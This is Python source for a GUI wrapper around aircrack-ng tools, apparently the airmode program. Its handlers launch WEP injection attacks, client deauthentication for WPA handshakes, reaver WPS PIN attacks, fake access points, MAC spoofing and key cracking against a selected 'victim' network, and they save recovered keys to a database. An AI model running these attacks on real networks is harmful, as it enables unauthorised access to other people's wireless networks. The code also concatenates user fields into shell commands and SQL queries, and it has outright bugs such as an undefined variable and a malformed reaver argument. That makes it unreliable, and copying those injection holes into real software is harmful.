277 | def slot_wep_arp_inj_cfrag(self):
278 | if self.check_options(self.mymon_opt | self.intf_mode_opt | self.ac_victim_opt) == 0:
279 | pass
280 | else:
281 | command = 'aireplay-ng -7 -c ' + self.ac_victim + ' ' + self.mymon
282 | ct = Command_thread(command)
283 | ct.start()
284 |
285 | self.direct_output('Client Fragmentation attack started, using ' + self.mymon)
286 |
287 | #
288 | # Forged packet injection on the victim access point (ChopChop)
289 | #
290 | def slot_wep_arp_inj_chop(self):
291 | if self.check_options(self.mymon_opt | self.intf_mode_opt) == 0:
292 | pass
293 | else:
294 | command = 'aireplay-ng -2 -r ' + config_dir + 'output_FORGED ' + self.mymon
295 | ct = Command_thread(command)
296 | ct.start()
297 |
298 | self.direct_output('ChopChop attack: Inject arp packet with ' + self.mymon)
299 |
300 | #
301 | # Forged packet injection on the victim access point (Fragmentation)
302 | #
303 | def slot_wep_arp_inj_frag(self):
304 | if self.check_options(self.mymon_opt | self.intf_mode_opt) == 0:
305 | pass
306 | else:
307 | command = 'aireplay-ng -2 -r ' + config_dir + 'output_FORGED2 ' + self.mymon
308 | ct = Command_thread(command)
309 | ct.start()
310 |
311 | self.direct_output('Fragmentation attack: Inject arp packet with ' + self.mymon)
312 |
313 | #
314 | # Associate with AP, use fake auth
315 | #
316 | def slot_fake_auth(self):
317 | if self.check_options(self.essid_opt | self.ac_opt | self.mymon_opt | self.mymac_opt | self.intf_mode_opt) == 0:
318 | pass
319 | else:
320 | command = 'aireplay-ng -1 0 -e "' + self.essid + '" -a ' + self.ac + ' -h ' + self.mymac + ' ' + self.mymon
321 | ct = Command_thread(command, False)
322 | ct.start()
323 |
324 | self.direct_output('Fake authentication with ' + self.mymon)
325 |
326 | #
327 | # Create the ARP packet to be injected on the victim access point (ChopChop)
328 | #
329 | def slot_wep_create_arp_chop(self):
330 | if self.check_options(self.ac_opt | self.mymac_opt) == 0:
331 | pass
332 | else:
333 | command = 'packetforge-ng -0 -a ' + self.ac + ' -h ' + self.mymac + ' -k 255.255.255.255 -l 255.255.255.255 -y ' + config_dir + '*.xor -w ' + config_dir + 'output_FORGED '
334 | ct = Command_thread(command, False)
335 | ct.start()
336 |
337 | self.direct_output('ChopChop attack: ARP packet created')
338 |
339 | #
340 | # Create the ARP packet to be injected on the victim self.access point (Fragmentation)
341 | #
342 | def slot_wep_create_arp_frag(self):
343 | if self.check_options(self.ac_opt | self.mymac_opt) == 0:
344 | pass
345 | else:
346 | command = 'packetforge-ng -0 -a ' + self.ac + ' -h ' + self.mymac + ' -k 255.255.255.255 -l 255.255.255.255 -y ' + config_dir + '*.xor -w ' + config_dir + 'output_FORGED2'
347 | ct = Command_thread(command, False)
348 | ct.start()
349 |
350 | self.direct_output('Fragmentation attack: ARP packet created')
351 |
352 | #
353 | # Start ChopChop attack
354 | #
355 | def slot_wep_start_chop(self):
356 | if self.check_options(self.mymon_opt | self.mymac_opt | self.intf_mode_opt) == 0:
357 | pass
358 | else:
359 | command = 'aireplay-ng -4 -h ' + self.mymac + ' ' + self.mymon
360 | ct = Command_thread(command)
361 | ct.start()
362 |
363 | self.direct_output('ChopChop attack started, using ' + self.mymon)
364 |
365 | #
366 | # Start Fragmentation Attack
367 | #
368 | def slot_wep_start_frag(self):
369 | if self.check_options(self.ac_opt | self.mymon_opt | self.mymac_opt | self.intf_mode_opt) == 0:
370 | pass
371 | else:
372 | command = 'aireplay-ng -5 -b ' + self.ac + ' -h ' + self.mymac + ' ' + self.mymon
373 | ct = Command_thread(command)
374 | ct.start()
375 |
376 | self.direct_output('Fragmentation attack started, using ' + self.mymon)
377 |
378 | #
379 | # Start ARP replay Attack
380 | #
381 | def slot_wep_start_rep(self):
382 | if self.check_options(self.ac_opt | self.mymon_opt | self.mymac_opt | self.intf_mode_opt) == 0:
383 | pass
384 | else:
385 | command = 'aireplay-ng -3 -b ' + self.ac + ' -h ' + self.mymac + ' ' + self.mymon
386 | ct = Command_thread(command)
387 | ct.start()
388 |
389 | self.direct_output('ARP replay attack started, using ' + self.mymon)
390 |
391 | #
392 | # Start sniffing and logging
393 | #
394 | def slot_start_sniffing(self):
395 | dump_file = config_dir + 'sniff_dump'
396 |
397 | if self.check_options(self.canale_opt | self.ac_opt | self.mymon_opt | self.intf_mode_opt) == 0:
398 | pass
399 | else:
400 | command = 'airodump-ng -c ' + self.canale + ' -w ' + dump_file + ' --bssid ' + self.ac + ' ' + self.mymon
401 | ct = Command_thread(command)
402 | ct.start()
403 |
404 | self.direct_output('Sniffing and logging started with ' + self.mymon)
405 |
406 | #
407 | # Performs a test of injection
408 | #
409 | def slot_test_inj(self):
410 | if self.check_options(self.ac_opt | self.mymon_opt | self.intf_mode_opt) == 0:
411 | pass
412 | else:
413 | command = 'aireplay-ng -9 -a ' + self.ac + ' ' + self.mymon
414 | ct = Command_thread(command)
415 | ct.start()
416 |
417 | self.direct_output('WEP: Injection test with ' + self.mymon)
418 |
419 | #
420 | # Client deauthentication (WPA handshake)
421 | #
422 | def slot_wpa_deauth_hand(self):
423 | if self.check_options(self.ac_opt | self.deauth_WPA_num_opt | self.ac_victim_wpa_opt | self.mymon_opt | self.intf_mode_opt) == 0:
424 | pass
425 | else:
426 | command = 'aireplay-ng -0 ' + self.deauth_WPA_num + ' -a ' + self.ac + ' -c ' + self.ac_victim_wpa + ' ' + self.mymon
427 | ct = Command_thread(command)
428 | ct.start()
429 |
430 | self.direct_output('WPA handshake attack: Client deauthentication with ' + self.mymon)
431 |
432 | #
433 | # WPS Test
434 | #
435 | def slot_start_wps_test(self):
436 | if self.check_options(self.mymon_opt | self.intf_mode_opt) == 0:
437 | pass
438 | else:
439 | command = 'wash -i ' + self.mymon
440 | ct = Command_thread(command)
441 | ct.start()
442 |
443 | self.direct_output('start WPS test...')
444 |
445 |
446 |
447 | #
448 | # WPA PIN attack (WPS attack)
449 | #
450 | def slot_start_wps_attack(self):
451 | if self.check_options(self.ac_opt | self.mymon_opt | self.intf_mode_opt) == 0:
452 | pass
453 | else:
454 | command = 'reaver -i ' + self.mymon + ' -b ' + self.ac + '-a-w'
455 | ct = Command_thread(command)
456 | ct.start()
457 |
458 | self.direct_output('WPA WPS attack: ' + self.ac)
459 |
460 | #
461 | # Clean all the old session files
462 | #
463 | def slot_gath_clean(self):
464 | commands.getstatusoutput('rm -f ' + config_dir + '*.cap ' + config_dir + '*.csv ' + config_dir + '*.xor ' + config_dir + '*.netxml ')
465 | self.direct_output('Logs cleaned')
466 |
467 | #
468 | # WPA Rainbow Tables Cracking
469 | #
470 | def slot_crack_wpa_rainbow_tables(self):
471 | if self.check_options(self.essid_opt | self.rtablesfile1_opt) == 0:
472 | pass
473 | else:
474 | command = 'cowpatty -r ' + config_dir + '*.cap -d ' + self.rtablesfile1 + ' -s "' + self.essid + '"'
475 | ct = Command_thread(command)
476 | ct.start()
477 |
478 | self.direct_output('Cracking WPA with rainbow tables launched')
479 |
480 | #
481 | # Aircrack decript WEP password
482 | #
483 | def slot_crack_wep_aircrack(self):
484 | if self.check_options(self.ac_opt) == 0:
485 | pass
486 | else:
487 | command = 'aircrack-ng -z -b ' + self.ac + ' ' + config_dir + '*.cap | tee ' + config_dir + 'aircrack-log.txt'
488 | ct = Command_thread(command, True, self.add_key_to_database)
489 | ct.start()
490 |
491 | self.direct_output("Cracking WEP with aircrack launched (remember to save database's changes)")
492 |
493 | #
494 | # Start Hirte attack ad-hoc mode
495 | #
496 | def slot_wep_start_hirte_adhoc(self):
497 | if self.check_options(self.essid_opt | self.canale_opt | self.mymon_opt | self.intf_mode_opt) == 0:
498 | pass
499 | else:
500 | command = 'airbase-ng -c ' + self.canale + ' -e "' + self.essid + '" -N -A -W 1 ' + self.mymon
501 | ct = Command_thread(command)
502 | ct.start()
503 |
504 | self.direct_output('Hirte attack ad-hoc mode started with ' + self.mymon)
505 |
506 | #
507 | # Start Hirte attack self.access point mode
508 | #
509 | def slot_wep_start_hirte_ap(self):
510 | if self.check_options(self.essid_opt | self.canale_opt | self.mymon_opt | self.intf_mode_opt) == 0:
511 | pass
512 | else:
513 | command = 'airbase-ng -c ' + self.canale + ' -e "' + self.essid + '" -N -W 1 ' + self.mymon
514 | ct = Command_thread(command)
515 | ct.start()
516 |
517 | self.direct_output('Hirte attack access point mode started with ' + self.mymon)
518 |
519 | #
520 | # Start Caffe-Latte attack
521 | #
522 | def slot_wep_start_latte(self):
523 | if self.check_options(self.essid_opt | self.canale_opt | self.mymon_opt | self.intf_mode_opt) == 0:
524 | pass
525 | else:
526 | command = 'airbase-ng -c ' + self.canale + ' -e "' + self.essid + '" -L -W 1 ' + self.mymon
527 | ct = Command_thread(command)
528 | ct.start()
529 |
530 | self.direct_output('Caffe_Latte attack started with ' + self.mymon)
531 |
532 | #
533 | # Start Fake Access Point
534 | #
535 | def slot_fake_ap_start(self):
536 |
537 | # get fake AP options
538 | ap_essid = str(self.line_fake_ap_essid.text())
539 | ap_chan = str(self.line_fake_ap_chan.text())
540 | ap_wep_key = str(self.line_fake_ap_wep_key.text())
541 |
542 | ap_wep = self.check_fake_ap_wep.isChecked()
543 | ap_wpa = self.radio_fake_ap_wpa.isChecked()
544 | ap_wpa2 = self.radio_fake_ap_wpa2.isChecked()
545 |
546 | ap_adhoc = self.check_fake_ap_adhoc_mode.isChecked()
547 | ap_hidden = self.check_fake_ap_hidden_ssid.isChecked()
548 | ap_no_broad = self.check_fake_ap_no_broadcast.isChecked()
549 | ap_rep_probes = self.check_fake_ap_all_probes.isChecked()
550 |
551 | # Note: 1=WEP40 2=TKIP 3=WRAP 4=CCMP 5=WEP104
552 | ap_wpa_type = 0
553 | if self.radio_fake_ap_wep40.isChecked():
554 | ap_wpa_type = 1
555 | if self.radio_fake_ap_tkip.isChecked():
556 | ap_wpa_type = 2
557 | if self.radio_fake_ap_wrap.isChecked():
558 | ap_wpa_type = 3
559 | if self.radio_fake_ap_ccmp.isChecked():
560 | ap_wpa_type = 4
561 | if self.radio_fake_ap_wep104.isChecked():
562 | ap_wpa_type = 5
563 |
564 | # check fields
565 | if ap_essid == "":
566 | self.output("no essid specified", 1)
567 | elif ap_chan == "":
568 | self.output("no channel specified", 1)
569 | elif self.mymon == "":
570 | self.output("monitor interface is not set", 1)
571 | elif self.intf_mode != 'Monitor':
572 | self.output("interface not in monitor mode", 1)
573 | else:
574 | # prepare the command
575 | ap_essid = ap_essid.replace(' ', '\ ')
576 | command = 'airbase-ng -e ' + ap_essid + ' -c ' + ap_chan
577 | if ap_wep:
578 | command += ' -W 1'
579 | if ap_wpa and str(ap_wpa_type) != "":
580 | command += ' -z ' + str(ap_wpa_type)
581 | if ap_wpa2 and str(ap_wpa_type) != "":
582 | command += ' -Z ' + str(ap_wpa_type)
583 | if ap_wep_key!='':
584 | command += ' -w ' + ap_wep_key
585 | if ap_adhoc:
586 | command += ' -A'
587 | if ap_hidden:
588 | command += ' -X'
589 | if ap_no_broad:
590 | command += ' -y'
591 | if ap_rep_probes:
592 | command += ' -P'
593 | command += ' ' + self.mymon
594 |
595 | # launch
596 | ct = Command_thread(command)
597 | ct.start()
598 |
599 | self.direct_output('Fake access point started with ' + self.mymon)
600 |
601 | #
602 | # Change mac address
603 | #
604 | def slot_mac_change(self):
605 | if self.check_options(self.change_mac_int_opt | self.change_mac_mac_opt | self.mymon_opn | self.intf_mode_opt) == 0:
606 | pass
607 | else:
608 | # backup of old MAC...
609 | commands.getstatusoutput('if [ -e ' + config_dir + '.macaddress-backup ]; then echo ""; else ifconfig ' + self.change_mac_int + ' | grep HWaddr | sed \'s/^.*HWaddr //\' > ' + config_dir + '.macaddress-backup; fi')
610 | status = commands.getstatusoutput('ifconfig ' + self.change_mac_int + ' down hw ether ' + self.change_mac_mac)
611 | if status[0] != 0:
612 | self.output(status[1], status[0])
613 | return
614 | status = commands.getstatusoutput('ifconfig ' + self.change_mac_int + ' up')
615 | if status[0] != 0:
616 | self.output(status[1], status[0])
617 | return
618 | self.output('Mac address of interface ' + self.change_mac_int + ' changed in ' + self.change_mac_mac, status[0])
619 |
620 | #
621 | # Enable ip forwarding
622 | #
623 | def slot_enable_ip_forward(self):
624 | command = 'echo 1 > /proc/sys/net/ipv4/ip_forward'
625 | ct = Command_thread(command, False)
626 | ct.start()
627 |
628 | self.direct_output('Enable IP forwarding')
629 |
630 | #
631 | # Disable ip forwarding
632 | #
633 | def slot_disable_ip_forward(self):
634 | command = 'echo 0 > /proc/sys/net/ipv4/ip_forward'
635 | ct = Command_thread(command, False)
636 | ct.start()
637 |
638 | self.direct_output('Disable IP forwarding')
639 |
640 | #
641 | # Set random MAC address
642 | #
643 | def slot_random_mac(self):
644 |
645 | if self.check_options(self.periferica_opt) == 0:
646 | return
647 |
648 | # disable interface
649 | status = commands.getstatusoutput('ifconfig ' + self.periferica + ' down')
650 | if status[0] != 0:
651 | self.output(status[1], status[0])
652 | return
653 |
654 | # random MAC address
655 | status = commands.getstatusoutput('macchanger --random ' + self.periferica)
656 | if status[0] != 0:
657 | self.output(status[1], status[0])
658 | return
659 |
660 | # re-enable interface
661 | status = commands.getstatusoutput('ifconfig ' + self.periferica + ' up')
662 | if status[0] !=0:
663 | self.output(status[1], status[0])
664 | return
665 |
666 | self.output("MAC Address changed: " + self.periferica, status[0])
667 |
668 | self.slot_reload_interfaces()
669 |
670 | #
671 | # Select an interface
672 | #
673 | def select_interface(self, interface):
674 |
675 | numrows = self.table_interfaces.rowCount()
676 |
677 | for i in range(0, numrows):
678 | if str(self.table_interfaces.text(i, 0)) == interface:
679 | self.table_interfaces.clearSelection()
680 | self.table_interfaces.selectRow(i)
681 | self.table_interfaces.repaintSelections()
682 | return
683 |
684 | #
685 | # Autoload interfaces
686 | #
687 | def slot_reload_interfaces(self):
688 |
689 | # clear
690 | numrows = self.table_interfaces.rowCount()
691 | for i in range(0, numrows):
692 | self.table_interfaces.removeRow(0)
693 |
694 | # load interfaces
695 | airmon = commands.getoutput("airmon-ng | egrep -e 'wlan[0-9]' | sed -e 's/phy[0-9]\t//g'")
696 | airmon = airmon.split('\n')
697 |
698 | for intf in airmon:
699 |
700 | if intf == "":
701 | continue
702 |
703 | intf = intf.split('\t')
704 | # get mac address
705 | current_mac = commands.getoutput("ifconfig " + intf[0] + " | grep HWaddr | awk ' { print $5 } ' | tr '-' ':'")
706 | current_mac = current_mac[:17]
707 | # get mode
708 | mode = commands.getoutput("iwconfig " + intf[0] + " | tr ' ' '\n' | grep -i 'Mode:' | tr ':' ' ' | awk '{print $2 }'")
709 | # fill table
710 |
711 |
712 | self.table_interfaces.insertRow(0)
713 | item=QtGui.QTableWidgetItem()
714 | item.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsEnabled)
715 | item.setText(intf[0])
716 | self.table_interfaces.setItem(0, 0,item )
717 |
718 | item=QtGui.QTableWidgetItem()
719 | item.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsEnabled)
720 | item.setText(current_mac)
721 | self.table_interfaces.setItem(0, 1,item )
722 |
723 | item=QtGui.QTableWidgetItem()
724 | item.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsEnabled)
725 | item.setText(intf[2])
726 | self.table_interfaces.setItem(0, 2,item )
727 |
728 | item=QtGui.QTableWidgetItem()
729 | item.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsEnabled)
730 | item.setText((intf[3]))
731 | self.table_interfaces.setItem(0, 3,item )
732 |
733 | item=QtGui.QTableWidgetItem()
734 | item.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsEnabled)
735 | item.setText(mode)
736 | self.table_interfaces.setItem(0, 4,item )
737 |
738 | self.table_interfaces.clearSelection()
739 |
740 |
741 | #
742 | # Rescan networks
743 | #
744 | def slot_rescan_networks(self):
745 |
746 | if self.check_options(self.mymon_opt | self.intf_mode_opt) == 0:
747 | return
748 |
749 | # clear
750 | numrows = self.table_networks.rowCount()
751 | for i in range(0, numrows):
752 | self.table_networks.removeRow(0)
753 |
754 | # Prepare the command
755 | scan_command = 'airodump-ng --output-format csv --write /tmp/airmode-scan '
756 | if self.combo_channel.currentText() != 'all channels':
757 | scan_command = scan_command + ' --channel ' + self.combo_channel.currentText()
758 | scan_command = scan_command + ' ' + self.mymon
759 | scan_command = str(scan_command)
760 |
761 | # Get output from Airodump-NG
762 | thr = RetardedKill("airodump-ng", self.spin_sec.value())
763 | thr.start()
764 |
765 | status = commands.getstatusoutput(scan_command)
766 | if status[0] != 0:
767 | self.output(status[1], status[0])
768 | else:
769 | self.output("rescan networks",status[0])
770 |
771 | output_raw = commands.getoutput('cat /tmp/airmode-scan*.csv')
772 |
773 | # Parse output
774 | output = output_raw.split("\n")
775 | uniq_bssid = set()
776 | order_id=0
777 |
778 | for out in output:
779 | match = re.match(r"([0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2})\s*,\s*\d{4,4}-\d{2,2}-\d{2,2}\s*\d{2,2}:\d{2,2}:\d{2,2}\s*,\s*\d{4,4}-\d{2,2}-\d{2,2}\s*\d{2,2}:\d{2,2}:\d{2,2}\s*,\s*(\d+)\s*,\s*(\d+)\s*,\s*(\w+)\s*,\s*([\w\s]*)\s*,\s*(\w*)\s*,\s*(.\d+)\s*,.+,\s*(.+)\s*,.*", out)
780 |
781 | if not match:
782 | continue
783 |
784 | bssid = match.group(1)
785 |
786 | if bssid in uniq_bssid:
787 | continue
788 |
789 | uniq_bssid.add(bssid)
790 |
791 | channel = match.group(2)
792 | mb = match.group(3)
793 | enc = match.group(4)
794 | cipher = match.group(5)
795 | auth = match.group(6)
796 | pwr = match.group(7)
797 | essid = match.group(8)
798 |
799 | self.table_networks.insertRow(order_id)
800 | item=QtGui.QTableWidgetItem()
801 | item.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsEnabled)
802 | item.setText(QtGui.QApplication.translate("Main_window", essid, None, QtGui.QApplication.UnicodeUTF8))
803 | self.table_networks.setItem(order_id, 0,item )
804 | item=QtGui.QTableWidgetItem(bssid)
805 | item.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsEnabled)
806 | item.setText(bssid)
807 | self.table_networks.setItem(order_id, 1,item)
808 |
809 | item=QtGui.QTableWidgetItem()
810 | item.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsEnabled)
811 | item.setText(channel)
812 | self.table_networks.setItem(order_id, 2,item)
813 |
814 | item=QtGui.QTableWidgetItem()
815 | item.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsEnabled)
816 | item.setText(pwr)
817 | self.table_networks.setItem(order_id, 3,item)
818 |
819 | item=QtGui.QTableWidgetItem()
820 | item.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsEnabled)
821 | item.setText(enc + ' ' + cipher + ' ' + auth)
822 | self.table_networks.setItem(order_id, 4, item)
823 |
824 | item=QtGui.QTableWidgetItem()
825 | item.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsEnabled)
826 | item.setText(mb)
827 | self.table_networks.setItem(order_id, 5,item)
828 |
829 | order_id=order_id+1
830 |
831 | self.table_networks.clearSelection()
832 | commands.getstatusoutput('rm /tmp/airmode-scan*')
833 |
834 | #
835 | # Autoload victim clients
836 | #
837 | def slot_autoload_victim_clients(self):
838 |
839 | # clear
840 | self.combo_wep_mac_cfrag.clear()
841 | self.combo_wpa_mac_hand.clear()
842 |
843 | # check *.csv files
844 | if not glob.glob(config_dir + "*.csv"):
845 | self.output("no csv files in " + config_dir, 1)
846 | return
847 |
848 | # open dump file
849 | dump_file = commands.getoutput("cat " + config_dir + "*.csv | egrep -e '^[0-9a-fA-F]{2,2}:[0-9a-fA-F]{2,2}:[0-9a-fA-F]{2,2}:[0-9a-fA-F]{2,2}:[0-9a-fA-F]{2,2}:[0-9a-fA-F]{2,2}.+[0-9a-fA-F]{2,2}:[0-9a-fA-F]{2,2}:[0-9a-fA-F]{2,2}:[0-9a-fA-F]{2,2}:[0-9a-fA-F]{2,2}:[0-9a-fA-F]{2,2},' | grep " + self.ac + " | tr ',' ' ' | awk ' { print $1 } '")
850 | dump_file = dump_file.split('\n')
851 |
852 | for mac in dump_file:
853 | self.combo_wep_mac_cfrag.insertItem(0, mac)
854 | self.combo_wpa_mac_hand.insertItem(0, mac)
855 |
856 | #
857 | # Add cracked key to database
858 | #
859 | def add_key_to_database(self):
860 | aircrack_log = config_dir + 'aircrack-log.txt'
861 |
862 | # read cracked key
863 | key = commands.getoutput("cat " + aircrack_log + " | grep 'KEY FOUND' | tr '[]' '\n' | egrep '([a-fA-F0-9]:)+' | tr -d ' \t'")
864 |
865 | # insert a row in the database
866 | self.table_database.insertRow(0)
867 | item=QtGui.QTableWidgetItem()
868 | item.setText(essid)
869 | self.table_database.setItem(0, 0, item)
870 |
871 | item=QtGui.QTableWidgetItem()
872 | item.setText(self.ac)
873 | self.table_database.setItem(0, 1, item)
874 |
875 | item=QtGui.QTableWidgetItem()
876 | item.setText(self.canale)
877 | self.table_database.setItem(0, 2, item)
878 |
879 | item=QtGui.QTableWidgetItem()
880 | item.setText(key)
881 | self.table_database.setItem(0, 3, item)
882 |
883 | item=QtGui.QTableWidgetItem()
884 | item.setText((key_to_ascii(key)))
885 | self.table_database.setItem(0, 4, item)
886 |
887 |
888 | #
889 | # Database changed
890 | #
891 | def slot_database_changed(self):
892 | selrow = self.table_database.currentRow()
893 | if selrow == -1:
894 | return
895 |
896 | key = str(self.table_database.item(selrow, 3))
897 |
898 | item=QtGui.QTableWidgetItem()
899 | item.setText((key_to_ascii(key)))
900 | self.table_database.setItem(selrow, 4, item)
901 |
902 | #
903 | # Add an entry to the database table
904 | #
905 | def slot_database_add(self):
906 | self.table_database.insertRow(0)
907 |
908 |
909 | #
910 | # Delete an entry from the database table
911 | #
912 | def slot_database_delete(self):
913 |
914 | selrow = self.table_database.currentRow()
915 | if selrow == -1:
916 | return
917 |
918 | self.table_database.removeRow(selrow)
919 |
920 | #
921 | # Reload the database
922 | #
923 | def slot_database_reload(self):
924 |
925 | # open the database and a cursor
926 | try:
927 | self.database_connection = sqlite3.connect(self.database)
928 | c = self.database_connection.cursor()
929 | except:
930 | self.output("Error loading database: " + self.database, 1)
931 | return
932 |
933 | # create table if not exists
934 | c.execute('''create table if not exists keys (essid text, bssid text, channel text, key text)''')
935 |
936 | # clear GUI table
937 | numrows = self.table_database.rowCount()
938 | for i in range(0, numrows):
939 | self.table_database.removeRow(0)
940 |
941 | # read and fill database table
942 | c.execute('select * from keys order by essid desc')
943 | for row in c:
944 | essid = row[0]
945 | bssid = row[1]
946 | channel = row[2]
947 | key = row[3]
948 | ascii = key_to_ascii(key)
949 |
950 | self.table_database.insertRow(0)
951 |
952 | item=QtGui.QTableWidgetItem()
953 | item.setText(essid)
954 | self.table_database.setItem(0, 0, item)
955 |
956 | item=QtGui.QTableWidgetItem()
957 | item.setText(bssid)
958 | self.table_database.setItem(0, 1, item)
959 |
960 | item=QtGui.QTableWidgetItem()
961 | item.setText(channel)
962 | self.table_database.setItem(0, 2, item)
963 |
964 | item=QtGui.QTableWidgetItem()
965 | item.setText(key)
966 | self.table_database.setItem(0, 3, item)
967 |
968 | item=QtGui.QTableWidgetItem()
969 | item.setText(ascii)
970 | self.table_database.setItem(0, 4, item)
971 |
972 | # close the cursor
973 | c.close()
974 |
975 | self.output("database reloaded: " + self.database, 0)
976 |
977 | #
978 | # Save the database
979 | #
980 | def slot_database_save(self):
981 |
982 | # open cursor
983 | try:
984 | self.database_connection = sqlite3.connect(self.database)
985 | c = self.database_connection.cursor()
986 | except:
987 | self.output("Error loading database: " + self.database, 1)
988 | return
989 |
990 | # clear database
991 | c.execute('''drop table keys''')
992 | c.execute('''create table keys (essid text, bssid text, channel text, key text)''')
993 |
994 | # read GUI table
995 | numrows = self.table_database.rowCount()
996 | # self.periferica = str((self.table_interfaces.item(selrow, 0)).text())
997 | for i in range(0, numrows):
998 | essid = str((self.table_database.item(i, 0)).text())
999 | bssid = str((self.table_database.item(i, 1)).text())
1000 | channel = str((self.table_database.item(i, 2)).text())
1001 | key = str((self.table_database.item(i, 3)).text())
1002 |
1003 | c.execute("insert into keys values ('" + essid + "', '" + bssid + "', '" + channel + "', '" + key + "')")
1004 |
1005 | # commit and close
1006 | try:
1007 | self.database_connection.commit()
1008 | c.close()
1009 | except:
1010 | c.close()
1011 | self.output("Error saving database: " + self.database, 1)
1012 | return
1013 |
1014 |
1015 | self.output("database saved: " + self.database, 0)
1016 |
1017 |
1018 | #
1019 | # Callbacks for input field text changes
1020 | # updates automagically the global variables...
1021 | #
1022 |
1023 | def slot_gath_int(self):
1024 | self.periferica = str(self.combo_gath_int.currentText())
1025 |
1026 | def slot_interface_selected(self):
1027 | selrow = self.table_interfaces.currentRow()
1028 |
1029 | if selrow == -1:
1030 | self.periferica = ''
1031 | self.mymon = ''
1032 | self.mymac = ''
1033 | self.intf_mode = ''
1034 | return
1035 |
1036 | self.periferica = str((self.table_interfaces.item(selrow, 0)).text())
1037 | self.mymon = str((self.table_interfaces.item(selrow, 0)).text())
1038 | self.mymac = str((self.table_interfaces.item(selrow, 1)).text())
1039 | self.intf_mode = str((self.table_interfaces.item(selrow, 4)).text())
1040 |
1041 | #self.change_mac_int = self.mymon
1042 | #self.line_mac_change_int.setText(self.mymon)
1043 | #self.change_mac_mac = self.mymac
1044 | #self.line_mac_change_mac.setText(self.mymac )
1045 |
1046 | def slot_network_selected(self):
1047 | selrow = self.table_networks.currentRow()
1048 | if selrow == -1:
1049 | return
1050 |
1051 | self.essid = str((self.table_networks.item(selrow, 0)).text())
1052 | self.ac = str((self.table_networks.item(selrow, 1)).text())
1053 | self.canale = str((self.table_networks.item(selrow, 2)).text())
1054 |
1055 | #print self.essid + " " + self.ac + " " + self.canale
1056 |
1057 | def slot_line_database(self):
1058 | self.database = str(self.line_database.text())
1059 |
1060 | def slot_line_crack_wpa_dictionary(self):
1061 | self.dfile = str(self.line_crack_wpa_dictionary.text())
1062 |
1063 | def slot_line_crack_wpa_dictionary_pyrit(self):
1064 | self.dfile2 = str(self.line_crack_wpa_dictionary_pyrit.text())
1065 |
1066 | def slot_line_crack_wpa_rainbow_tables_file(self):
1067 | self.rtablesfile1 = str(self.line_crack_wpa_rainbow_tables_file.text())
1068 |
1069 | def slot_line_gath_logs(self):
1070 | self.config_dir = str(self.line_gath_logs.text())
1071 |
1072 | def slot_line_mac_change_int(self):
1073 | self.change_mac_int = str(self.line_mac_change_int.text())
1074 |
1075 | def slot_line_mac_change_mac(self):
1076 | self.change_mac_mac = str(self.line_mac_change_mac.text())
1077 |
1078 | def slot_line_wep_mac_cfrag(self):
1079 | self.ac_victim = str(self.combo_wep_mac_cfrag.currentText())
1080 |
1081 | def slot_line_wpa_mac_hand(self):
1082 | self.ac_victim_wpa = str(self.combo_wpa_mac_hand.currentText())
1083 |
1084 | def slot_line_wpa_deauth_hand(self):
1085 | self.deauth_WPA_num = str(self.spin_wpa_deauth_hand.text())
1086 |
1087 | def slot_spin_wep_wireless_req(self):
1088 | self.mval = str(self.spin_wep_wireless_req.value())
1089 |
1090 | def slot_spin_wep_wired_req(self):
1091 | self.nval = str(self.spin_wep_wired_req.value())
1092 |
1093 | #
1094 | # Initializer
1095 | #
1096 | def init(self):
1097 | pass
1098 |
1099 | #
1100 | # Fill input fields on program load
1101 | #
1102 | def fill_input_fields(self):
1103 |
1104 | # variables/gui input fields
1105 | self.periferica = ''
1106 | self.periferica_opt = 1 << 0
1107 |
1108 | self.mymon = ''
1109 | self.mymon_opt = 1 << 1
1110 |
1111 | self.mymac = ''
1112 | self.mymac_opt = 1 << 2
1113 |
1114 | self.ac = ''
1115 | self.ac_opt = 1 << 3
1116 |
1117 | self.canale = ''
1118 | self.canale_opt = 1 << 4
1119 |
1120 | self.essid = ''
1121 | self.essid_opt = 1 << 5
1122 |
1123 | self.mval = '68'
1124 | self.mval_opt = 1 << 6
1125 |
1126 | self.nval = '86'
1127 | self.nval_opt = 1 << 7
1128 |
1129 | self.ac_victim = ''
1130 | self.ac_victim_opt = 1 << 8
1131 |
1132 | self.ac_victim_wpa = ''
1133 | self.ac_victim_wpa_opt = 1 << 9
1134 |
1135 | self.deauth_WPA_num = ''
1136 | self.deauth_WPA_num_opt = 1 << 10
1137 |
1138 | self.dfile = ''
1139 | self.dfile_opt = 1 << 11
1140 |
1141 | self.dfile2 = ''
1142 | self.dfile2_opt = 1 << 12
1143 |
1144 | self.change_mac_int = ''
1145 | self.change_mac_int_opt = 1 << 13
1146 |
1147 | self.change_mac_mac = ''
1148 | self.change_mac_mac_opt = 1 << 14
1149 |
1150 | self.rtablesfile1 = ''
1151 | self.rtablesfile1_opt = 1 << 15
1152 |
1153 | self.intf_mode = ''
1154 | self.intf_mode_opt = 1 << 16
1155 |
1156 | # Database
1157 | self.database = database_path;
1158 | self.line_database.setText(self.database)
1159 | try:
1160 | self.database_connection = sqlite3.connect(self.database)
1161 | except:
1162 | pass
1163 | self.slot_database_reload()
1164 |
1165 | # Session file directory
1166 | self.line_gath_logs.setText(config_dir)
1167 |
1168 | # Wireless interfaces
1169 | self.slot_reload_interfaces()
1170 | print "interface reloaded"
1171 | if selected_interface != '':
1172 | print "interface not empty"
1173 | self.periferica = selected_interface
1174 | print "selecting "+selected_interface
1175 | self.select_interface(selected_interface)
1176 |
1177 |
1178 | # Various directories
1179 | self.line_crack_wpa_dictionary.setText(home_dir)
1180 | self.line_crack_wpa_dictionary_pyrit.setText(home_dir)
